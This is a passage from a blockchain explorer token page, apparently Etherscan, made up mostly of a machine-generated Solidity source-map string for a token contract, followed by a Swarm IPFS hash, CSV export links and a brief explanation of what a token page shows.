1:-1:-1;11277:25:0;;11274:108:::1;;11318:61;11331:24;11357:21;11318:12;:61::i;:::-;11438:16;::::0;11392:20:::1;::::0;11415:40:::1;::::0;:18:::1;:11:::0;11431:1:::1;11415:15;:18::i;:::-;:22:::0;::::1;:40::i;:::-;11392:63:::0;-1:-1:-1;11469:16:0;;11466:77:::1;;11507:9;::::0;11499:41:::1;::::0;-1:-1:-1;;;;;11507:9:0;;::::1;::::0;11499:41;::::1;;;::::0;11527:12;;11507:9:::1;11499:41:::0;11507:9;11499:41;11527:12;11507:9;11499:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11466:77;-1:-1:-1::0;;5705:8:0;:16;;-1:-1:-1;;5705:16:0;;;-1:-1:-1;;;;;;;10626:924:0:o;10458:160::-;-1:-1:-1;;;;;10564:19:0;;10539:4;10564:19;;;:11;:19;;;;;;;;10563:20;:47;;;;-1:-1:-1;;;;;;;10588:22:0;;;;;:11;:22;;;;;;;;10587:23;;10458:160;-1:-1:-1;10458:160:0:o;11906:450::-;11978:7;12012:1;12001:8;;:12;:45;;;-1:-1:-1;12027:4:0;;-1:-1:-1;;;;;12017:14:0;;;12027:4;;12017:14;;;;:29;;;12045:1;12035:7;;:11;12017:29;11998:327;;;12058:17;12078:51;12114:14;;12078:31;12089:19;12101:6;12089:11;:19::i;:::-;12078:6;;:10;:31::i;:51::-;12058:71;-1:-1:-1;12143:13:0;;12140:154;;12213:4;12195:24;;;;:9;:24;;;;;;:39;;12224:9;12195:28;:39::i;:::-;12186:4;12168:24;;;;:9;:24;;;;;;;:66;;;;12250:42;;-1:-1:-1;;;;;12250:42:0;;;;;;;12282:9;1410:25:1;;1398:2;1383:18;;1264:177;12250:42:0;;;;;;;;12140:154;12302:21;:6;12313:9;12302:10;:21::i;:::-;12295:28;;;;;11998:327;-1:-1:-1;12342:6:0;11906:450;-1:-1:-1;11906:450:0:o;12744:434::-;12834:16;;;12848:1;12834:16;;;;;;;;12810:21;;12834:16;;;;;;;;;;-1:-1:-1;12834:16:0;12810:40;;12879:4;12861;12866:1;12861:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12861:23:0;;;:7;;;;;;;;;;:23;;;;12905:6;;:13;;;-1:-1:-1;;;12905:13:0;;;;:6;;;;;:11;;:13;;;;;12861:7;;12905:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12895:4;12900:1;12895:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12895:23:0;;;:7;;;;;;;;;:23;12961:6;;12929:53;;12946:4;;12961:6;12970:11;12929:8;:53::i;:::-;12993:6;;:177;;-1:-1:-1;;;12993:177:0;;-1:-1:-1;;;;;12993:6:0;;;;:57;;:177;;13065:11;;12993:6;;13107:4;;13134;;13154:15;;12993:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12799:379;12744:434;:::o;11558:338::-;11671:6;;11639:53;;11656:4;;-1:-1:-1;;;;;11671:6:0;11680:11;11639:8;:53::i;:::-;11703:6;;11844:13;;11703:185;;-1:-1:-1;;;11703:185:0;;11766:4;11703:185;;;10768:34:1;10818:18;;;10811:34;;;11703:6:0;10861:18:1;;;10854:34;;;10904:18;;;10897:34;-1:-1:-1;;;;;11844:13:0;;;10947:19:1;;;10940:44;11872:15:0;11000:19:1;;;10993:35;11703:6:0;;;:22;;11733:9;;10702:19:1;;11703:185:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:247::-;1966:6;2019:2;2007:9;1998:7;1994:23;1990:32;1987:52;;;2035:1;2032;2025:12;1987:52;2074:9;2061:23;2093:31;2118:5;2093:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:118::-;3035:5;3028:13;3021:21;3014:5;3011:32;3001:60;;3057:1;3054;3047:12;3072:309;3137:6;3145;3198:2;3186:9;3177:7;3173:23;3169:32;3166:52;;;3214:1;3211;3204:12;3166:52;3253:9;3240:23;3272:28;3294:5;3272:28;:::i;3646:335::-;3848:2;3830:21;;;3887:2;3867:18;;;3860:30;-1:-1:-1;;;3921:2:1;3906:18;;3899:41;3972:2;3957:18;;3646:335::o;3986:184::-;4056:6;4109:2;4097:9;4088:7;4084:23;4080:32;4077:52;;;4125:1;4122;4115:12;4077:52;-1:-1:-1;4148:16:1;;3986:184;-1:-1:-1;3986:184:1:o;4454:245::-;4521:6;4574:2;4562:9;4553:7;4549:23;4545:32;4542:52;;;4590:1;4587;4580:12;4542:52;4622:9;4616:16;4641:28;4663:5;4641:28;:::i;6749:127::-;6810:10;6805:3;6801:20;6798:1;6791:31;6841:4;6838:1;6831:15;6865:4;6862:1;6855:15;6881:422;6970:1;7013:5;6970:1;7027:270;7048:7;7038:8;7035:21;7027:270;;;7107:4;7103:1;7099:6;7095:17;7089:4;7086:27;7083:53;;;7116:18;;:::i;:::-;7166:7;7156:8;7152:22;7149:55;;;7186:16;;;;7149:55;7265:22;;;;7225:15;;;;7027:270;;;7031:3;6881:422;;;;;:::o;7308:806::-;7357:5;7387:8;7377:80;;-1:-1:-1;7428:1:1;7442:5;;7377:80;7476:4;7466:76;;-1:-1:-1;7513:1:1;7527:5;;7466:76;7558:4;7576:1;7571:59;;;;7644:1;7639:130;;;;7551:218;;7571:59;7601:1;7592:10;;7615:5;;;7639:130;7676:3;7666:8;7663:17;7660:43;;;7683:18;;:::i;:::-;-1:-1:-1;;7739:1:1;7725:16;;7754:5;;7551:218;;7853:2;7843:8;7840:16;7834:3;7828:4;7825:13;7821:36;7815:2;7805:8;7802:16;7797:2;7791:4;7788:12;7784:35;7781:77;7778:159;;;-1:-1:-1;7890:19:1;;;7922:5;;7778:159;7969:34;7994:8;7988:4;7969:34;:::i;:::-;8039:6;8035:1;8031:6;8027:19;8018:7;8015:32;8012:58;;;8050:18;;:::i;:::-;8088:20;;7308:806;-1:-1:-1;;;7308:806:1:o;8119:140::-;8177:5;8206:47;8247:4;8237:8;8233:19;8227:4;8206:47;:::i;8264:168::-;8304:7;8370:1;8366;8362:6;8358:14;8355:1;8352:21;8347:1;8340:9;8333:17;8329:45;8326:71;;;8377:18;;:::i;:::-;-1:-1:-1;8417:9:1;;8264:168::o;8437:125::-;8477:4;8505:1;8502;8499:8;8496:34;;;8510:18;;:::i;:::-;-1:-1:-1;8547:9:1;;8437:125::o;8567:217::-;8607:1;8633;8623:132;;8677:10;8672:3;8668:20;8665:1;8658:31;8712:4;8709:1;8702:15;8740:4;8737:1;8730:15;8623:132;-1:-1:-1;8769:9:1;;8567:217::o;8789:128::-;8829:3;8860:1;8856:6;8853:1;8850:13;8847:39;;;8866:18;;:::i;:::-;-1:-1:-1;8902:9:1;;8789:128::o;9054:127::-;9115:10;9110:3;9106:20;9103:1;9096:31;9146:4;9143:1;9136:15;9170:4;9167:1;9160:15;9186:251;9256:6;9309:2;9297:9;9288:7;9284:23;9280:32;9277:52;;;9325:1;9322;9315:12;9277:52;9357:9;9351:16;9376:31;9401:5;9376:31;:::i;9442:980::-;9704:4;9752:3;9741:9;9737:19;9783:6;9772:9;9765:25;9809:2;9847:6;9842:2;9831:9;9827:18;9820:34;9890:3;9885:2;9874:9;9870:18;9863:31;9914:6;9949;9943:13;9980:6;9972;9965:22;10018:3;10007:9;10003:19;9996:26;;10057:2;10049:6;10045:15;10031:29;;10078:1;10088:195;10102:6;10099:1;10096:13;10088:195;;;10167:13;;-1:-1:-1;;;;;10163:39:1;10151:52;;10258:15;;;;10223:12;;;;10199:1;10117:9;10088:195;;;-1:-1:-1;;;;;;;10339:32:1;;;;10334:2;10319:18;;10312:60;-1:-1:-1;;;10403:3:1;10388:19;10381:35;10300:3;9442:980;-1:-1:-1;;;9442:980:1:o;11039:306::-;11127:6;11135;11143;11196:2;11184:9;11175:7;11171:23;11167:32;11164:52;;;11212:1;11209;11202:12;11164:52;11241:9;11235:16;11225:26;;11291:2;11280:9;11276:18;11270:25;11260:35;;11335:2;11324:9;11320:18;11314:25;11304:35;;11039:306;;;;;:::o

Swarm Source

ipfs://ec8ff1d6fcd1c9770427cd2208fbf87af575e391bc3bd26c5e0e293ea8a90dcc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.